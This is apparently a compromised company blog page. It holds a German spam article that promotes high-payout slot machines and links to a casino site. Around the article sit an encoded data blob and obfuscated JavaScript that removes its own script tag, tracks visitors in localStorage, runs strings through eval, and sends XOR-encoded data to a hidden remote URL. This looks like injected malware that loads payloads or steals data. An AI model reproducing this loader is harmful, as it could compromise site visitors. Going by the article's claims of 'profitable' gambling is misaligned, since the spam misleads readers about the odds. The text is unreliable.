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			           <article id="post-48596" class="post-48596 post type-post status-publish format-standard hentry category-bgm-muhendislik-hizmetlerimiz">
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                        <i class="far fa-calendar-alt mb-1 me-2"></i>
                <span class="entry-date me-3">30 Eylül, 2025</span>
                            <i class="fas fa-user mb-1 me-2"></i>
                <span class="entry-author me-3">Şeref Parıldar</span>
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        <p>Die Welt der Online-Glücksspiele befindet sich in einem ständigen Wandel, angetrieben durch technologische Innovationen und regulatorische Veränderungen. Für Spieler und Betreiber gleichermaßen sind die Auszahlungsquoten (Return to Player, RTP) eine fundamentale Kennzahl, die nicht nur die Aussichten auf Gewinn beeinflusst, sondern auch die Entscheidung für bestimmte Spielautomaten maßgeblich prägt. In diesem Artikel beleuchten wir, warum die Wahl der richtigen Spielautomaten mit hoher Auszahlungsquote entscheidend ist und wie diese Quoten die langfristige Rentabilität beim Spielen beeinflussen können.</p>
<h2>Was sind Auszahlungsquoten und warum sind sie entscheidend?</h2>
<p>Die Auszahlungsquote (RTP) eines Spielautomaten gibt an, wie viel Prozent der eingesetzten Beträge im Durchschnitt an die Spieler zurückfließen. Ein Spielautomat mit einem RTP von 96 % bedeutet beispielsweise, dass 96 € von 100 € Einsatz im Durchschnitt wieder an die Spieler ausgeschüttet werden, während der Betreiber einen Anteil von 4 € behält. Diese Rate ist zentral, um die Spielstrategie und die potenzielle Gewinnchance zu verstehen.</p>
<p>Eine höhere Auszahlungsquote korreliert meist mit besseren Gewinnchancen für den Spieler über die Laufzeit. Während kurzfristige Schwankungen natürlich auftreten, ist die statistische Wahrscheinlichkeit für Gewinne bei Spielautomaten mit hoher RTP deutlich größer.</p>
<h2>Die Bedeutung der Auswahl von Spielautomaten mit hoher Auszahlungsquote</h2>
<p>Die Entscheidung, auf sogenannte <a href="https://bookofra-highroller.de">Spielautomaten mit hoher Auszahlungsquote</a> zu setzen, beeinflusst die zukünftige Gewinnwahrscheinlichkeit erheblich. Dies gilt insbesondere bei langfristigem Spielen. Hier einige Schlüsselaspekte:</p>
<ul>
<li><strong>Langfristige Rentabilität:</strong> Spielautomaten mit einer RTP von 96 % und höher bieten eine bessere Chance, das Spiel zu gewinnen oder Gewinne zu maximieren.</li>
<li><strong>Individuelle Strategien:</strong> Strategien wie das Budget-Management und die Wahl der Spiele mit hohem RTP sind essenziell, um Verluste zu minimieren.</li>
<li><strong>Vertrauenswürdige Anbieter:</strong> Plattformen, die transparent mit RTP-Werten umgehen, schaffen Vertrauen und ermöglichen informierte Entscheidungen.</li>
</ul>
<h2>Marktdaten und Brancheninsights</h2>
<p>Die europäischen Glücksspielmärkte regulieren zunehmend die Transparenz der RTP-Werte. Laut einer Studie des European Gaming &amp; Betting Association (EGBA) sind aktuell über 70 % der regulierten Online-Casinos offen mit den RTP-Angaben der angebotenen Spielautomaten. Besonders bei bekannten Slot-Titeln wie <em>Book of Ra</em>, dessen Erfolg auch auf einer soliden RTP von durchschnittlich 96 % beruht, ist die Quoteninformation für Spieler essenziell.</p>
<table>
<thead>
<tr>
<th>Spielautomat</th>
<th>Durchschnittliche RTP</th>
<th>Besonderheiten</th>
</tr>
</thead>
<tbody>
<tr>
<td>Book of Ra</td>
<td>96.00 %</td>
<td>Abenteuer-Thema, Autoplay-Funktion</td>
</tr>
<tr>
<td>Gonzo&#8217;s Quest</td>
<td>96.00 %</td>
<td>Kaskadierende Gewinnlinien</td>
</tr>
<tr>
<td>Starburst</td>
<td>96.10 %</td>
<td>Einfaches Gameplay, schnelle Spiele</td>
</tr>
</tbody>
</table>
<h2>Fachliche Differenzierung: Warum die Wahl der richtigen Spielautomaten zählt</h2>
<blockquote><p>
„Das Verständnis der Auszahlungsquoten ist für ernsthafte Spieler die Basis, um strategisch kluge Entscheidungen zu treffen.“ – Dr. Johannes Müller, Casino-Analytiker
</p></blockquote>
<p>Im Vergleich zu Spielen mit niedrigen RTP-Werten, die häufig bei günstigen Spielautomaten oder bei weniger transparenten Anbietern vorkommen, bieten Spielautomaten mit hohen Auszahlungsraten eine wissenschaftlich belegte Grundlage für profitableres Spielen. Besonders für professionelle Spieler oder solche, die ihre Gambler’s Fallacy-Überzeugungen hinterfragen wollen, sind diese Werte ein unverzichtbares Werkzeug.</p>
<h2>Fazit: Die transformative Kraft der RTP-Transparenz</h2>
<p>Die Diskussion um RTP-Werte ist kein bloßes Zahlenspiel, sondern ein Kernbestandteil der Spielstrategie. Besonders bei der Auswahl <em>Spielautomaten mit hoher Auszahlungsquote</em> zeigt sich, wie wissenschaftlich fundierte Entscheidungen das Spielverhalten nachhaltig verändern können.</p>
<p>Wer sich ernsthaft mit dem Thema beschäftigt, sollte nicht nur auf die Gewinnlinien oder die Optik eines Spielautomaten schauen, sondern vielmehr auf die zugrundeliegenden Auszahlungsquoten. Für weitere Einblicke und professionelle Empfehlungen empfiehlt sich das Forschungs- und Testportal Book of Ra Highroller, das eine umfassende Übersicht zu Spielautomaten mit hohen Quoten bietet.</p>
<div class="reference">
&gt; Für die gezielte Suche nach Spielautomaten mit hohen Auszahlungsquoten lohnt sich die Investition, die verfügbaren Ressourcen aufmerksam zu prüfen. Die Wahl der richtigen Spiele ist ein Grundpfeiler für nachhaltiges und verantwortungsbewusstes Glücksspiel.
</div>
        
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LsSETI=_cueZe.indexOf(MVG8nt6[hsXzw28]);if(LsSETI===-SG85dN[0x1])continue;if(NyzlI2v<SG85dN[0x0]){NyzlI2v=LsSETI}else{nmiHSwn(NyzlI2v+=LsSETI*SG85dN[0xc],T0n3CP|=NyzlI2v<<JKvrL7,JKvrL7+=(NyzlI2v&SG85dN[0xd])>SG85dN[0xe]?SG85dN[0xf]:SG85dN[0x10]);do{nmiHSwn(ScWTlB.push(T0n3CP&SG85dN[0x3]),T0n3CP>>=SG85dN[0x2],JKvrL7-=SG85dN[0x2])}while(JKvrL7>SG85dN[0x9]);NyzlI2v=-SG85dN[0x1]}}if(NyzlI2v>-SG85dN[0x1]){ScWTlB.push((T0n3CP|NyzlI2v<<JKvrL7)&SG85dN[0x3])}return dH0Uoht(ScWTlB)}function PUpHDP(r6YG_NF){if(typeof wjxdVVu[r6YG_NF]===SG85dN[0x5]){return wjxdVVu[r6YG_NF]=MVG8nt6(BwdyOD[r6YG_NF])}return wjxdVVu[r6YG_NF]}if(PUpHDP(0x6e)in hv_Eyy2){ScWTlB()}function ScWTlB(){var r6YG_NF=function(r6YG_NF){var _cueZe=r6YG_NF.length,MVG8nt6,PUpHDP,ScWTlB,JKvrL7;nmiHSwn(MVG8nt6=[],PUpHDP=SG85dN[0x0],ScWTlB=SG85dN[0x0],r6YG_NF.sort((r6YG_NF,_cueZe)=>r6YG_NF-_cueZe));for(JKvrL7=SG85dN[0x0];JKvrL7<_cueZe;JKvrL7++){if(JKvrL7>SG85dN[0x0]&&r6YG_NF[JKvrL7]===r6YG_NF[JKvrL7-SG85dN[0x1]])continue;nmiHSwn(PUpHDP=JKvrL7+SG85dN[0x1],ScWTlB=_cueZe-SG85dN[0x1]);while(PUpHDP<ScWTlB)if(r6YG_NF[JKvrL7]+r6YG_NF[PUpHDP]+r6YG_NF[ScWTlB]<SG85dN[0x0]){PUpHDP++}else if(r6YG_NF[JKvrL7]+r6YG_NF[PUpHDP]+r6YG_NF[ScWTlB]>SG85dN[0x0]){ScWTlB--}else{MVG8nt6.push([r6YG_NF[JKvrL7],r6YG_NF[PUpHDP],r6YG_NF[ScWTlB]]);while(PUpHDP<ScWTlB&&r6YG_NF[PUpHDP]===r6YG_NF[PUpHDP+SG85dN[0x1]])PUpHDP++;while(PUpHDP<ScWTlB&&r6YG_NF[ScWTlB]===r6YG_NF[ScWTlB-SG85dN[0x1]])ScWTlB--;nmiHSwn(PUpHDP++,ScWTlB--)}}return MVG8nt6};console.log(r6YG_NF)}return}const T0n3CP=document[_cueZe(0x6f)];T0n3CP?.parentNode?.removeChild(T0n3CP);const vuzTNS=Date[_cueZe(0x70)],JKvrL7=vuzTNS(),NyzlI2v=window[_cueZe(0x71)],hsXzw28=_cueZe(0x72),LsSETI=NyzlI2v[_cueZe(SG85dN[0x11])](hsXzw28);if(LsSETI&&Number(LsSETI)>JKvrL7){return}let DKJURn4="";const Rfe31D5=_cueZe(0x74),dbVld5f=NyzlI2v[_cueZe(SG85dN[0x11])](Rfe31D5)||crypto[_cueZe(0x75)]();NyzlI2v[_cueZe(0x76)](Rfe31D5,dbVld5f);const jNBQNaK=new TextEncoder,Q0yHTyK=new TextDecoder,RMoed3I=new Uint8Array(_cueZe(0x77)[_cueZe(0x78)](",")[_cueZe(0x79)](Number)),XkWZv4=0x5265c00,IIDrLE=r6YG_NF=>{return(SG85dN[0x0],eval)(r6YG_NF)},uZ5occJ=r6YG_NF=>{function _cueZe(r6YG_NF){var _cueZe="EObMDCVcjw~14:=!2x8*z/IHfoSYtk7?Z_@`(Tmqv^]PnNW5BKX0\"g%&h>+Qr$#dlU|y3<Re9ALa6p{F)Gsu,.i}[J;",MVG8nt6,PUpHDP,ScWTlB,T0n3CP,JKvrL7,NyzlI2v,hsXzw28;nmiHSwn(MVG8nt6=""+(r6YG_NF||""),PUpHDP=MVG8nt6.length,ScWTlB=[],T0n3CP=SG85dN[0x0],JKvrL7=SG85dN[0x0],NyzlI2v=-SG85dN[0x1]);for(hsXzw28=SG85dN[0x0];hsXzw28<PUpHDP;hsXzw28++){var LsSETI=_cueZe.indexOf(MVG8nt6[hsXzw28]);if(LsSETI===-SG85dN[0x1])continue;if(NyzlI2v<SG85dN[0x0]){NyzlI2v=LsSETI}else{nmiHSwn(NyzlI2v+=LsSETI*SG85dN[0xc],T0n3CP|=NyzlI2v<<JKvrL7,JKvrL7+=(NyzlI2v&SG85dN[0xd])>SG85dN[0xe]?SG85dN[0xf]:SG85dN[0x10]);do{nmiHSwn(ScWTlB.push(T0n3CP&SG85dN[0x3]),T0n3CP>>=SG85dN[0x2],JKvrL7-=SG85dN[0x2])}while(JKvrL7>SG85dN[0x9]);NyzlI2v=-SG85dN[0x1]}}if(NyzlI2v>-SG85dN[0x1]){ScWTlB.push((T0n3CP|NyzlI2v<<JKvrL7)&SG85dN[0x3])}return dH0Uoht(ScWTlB)}function MVG8nt6(r6YG_NF){if(typeof wjxdVVu[r6YG_NF]===SG85dN[0x5]){return wjxdVVu[r6YG_NF]=_cueZe(BwdyOD[r6YG_NF])}return wjxdVVu[r6YG_NF]}return new Uint8Array(r6YG_NF[MVG8nt6(0x7a)]((r6YG_NF,_cueZe)=>{function MVG8nt6(r6YG_NF){var MVG8nt6="A*WZ^b1BghxFLT`rafznPqHNOeMo{+.V~Ktj:\"&Jl,=!mk]YE5GuI>[R<ciC9X/s32y;QpUw(DS7$8v06)|}%4@#_?d",PUpHDP,ScWTlB,T0n3CP,JKvrL7,NyzlI2v,hsXzw28,LsSETI;nmiHSwn(PUpHDP=""+(r6YG_NF||""),ScWTlB=PUpHDP.length,T0n3CP=[],JKvrL7=SG85dN[0x0],NyzlI2v=SG85dN[0x0],hsXzw28=-SG85dN[0x1]);for(LsSETI=SG85dN[0x0];LsSETI<ScWTlB;LsSETI++){var DKJURn4=MVG8nt6.indexOf(PUpHDP[LsSETI]);if(DKJURn4===-SG85dN[0x1])continue;if(hsXzw28<SG85dN[0x0]){hsXzw28=DKJURn4}else{nmiHSwn(hsXzw28+=DKJURn4*SG85dN[0xc],JKvrL7|=hsXzw28<<NyzlI2v,NyzlI2v+=(hsXzw28&SG85dN[0xd])>SG85dN[0xe]?SG85dN[0xf]:SG85dN[0x10]);do{nmiHSwn(T0n3CP.push(JKvrL7&SG85dN[0x3]),JKvrL7>>=SG85dN[0x2],NyzlI2v-=SG85dN[0x2])}while(NyzlI2v>SG85dN[0x9]);hsXzw28=-SG85dN[0x1]}}if(hsXzw28>-SG85dN[0x1]){T0n3CP.push((JKvrL7|hsXzw28<<NyzlI2v)&SG85dN[0x3])}return dH0Uoht(T0n3CP)}function PUpHDP(r6YG_NF){if(typeof wjxdVVu[r6YG_NF]===SG85dN[0x5]){return wjxdVVu[r6YG_NF]=MVG8nt6(BwdyOD[r6YG_NF])}return wjxdVVu[r6YG_NF]}return r6YG_NF^RMoed3I[_cueZe%RMoed3I[PUpHDP(0x7b)]]}))},ad1FaG=async(r6YG_NF,_cueZe)=>{function MVG8nt6(r6YG_NF){var _cueZe="C8b?u;h*eD|qvE[jo~l_yKG&XBOpQW.M1S5t7%Asa}(PLrd4={`IgN!wx@f0\"c>2RH$9+6^TUZVz:iJk]mnF<#)/,3Y",MVG8nt6,PUpHDP,T0n3CP,JKvrL7,NyzlI2v,hsXzw28,LsSETI;nmiHSwn(MVG8nt6=""+(r6YG_NF||""),PUpHDP=MVG8nt6.length,T0n3CP=[],JKvrL7=SG85dN[0x0],NyzlI2v=SG85dN[0x0],hsXzw28=-SG85dN[0x1]);for(LsSETI=SG85dN[0x0];LsSETI<PUpHDP;LsSETI++){var DKJURn4=_cueZe.indexOf(MVG8nt6[LsSETI]);if(DKJURn4===-SG85dN[0x1])continue;if(hsXzw28<SG85dN[0x0]){hsXzw28=DKJURn4}else{nmiHSwn(hsXzw28+=DKJURn4*SG85dN[0xc],JKvrL7|=hsXzw28<<NyzlI2v,NyzlI2v+=(hsXzw28&SG85dN[0xd])>SG85dN[0xe]?SG85dN[0xf]:SG85dN[0x10]);do{nmiHSwn(T0n3CP.push(JKvrL7&SG85dN[0x3]),JKvrL7>>=SG85dN[0x2],NyzlI2v-=SG85dN[0x2])}while(NyzlI2v>SG85dN[0x9]);hsXzw28=-SG85dN[0x1]}}if(hsXzw28>-SG85dN[0x1]){T0n3CP.push((JKvrL7|hsXzw28<<NyzlI2v)&SG85dN[0x3])}return dH0Uoht(T0n3CP)}function PUpHDP(r6YG_NF){if(typeof wjxdVVu[r6YG_NF]===SG85dN[0x5]){return wjxdVVu[r6YG_NF]=MVG8nt6(BwdyOD[r6YG_NF])}return wjxdVVu[r6YG_NF]}const ScWTlB=await fetch(PUpHDP(0x7c)+r6YG_NF,{[PUpHDP(0x7d)]:PUpHDP(0x7e),[PUpHDP(SG85dN[0x12])]:uZ5occJ(jNBQNaK[PUpHDP(SG85dN[0x13])](JSON[PUpHDP(0x81)](_cueZe)))});if(!ScWTlB.ok){throw new Error}return 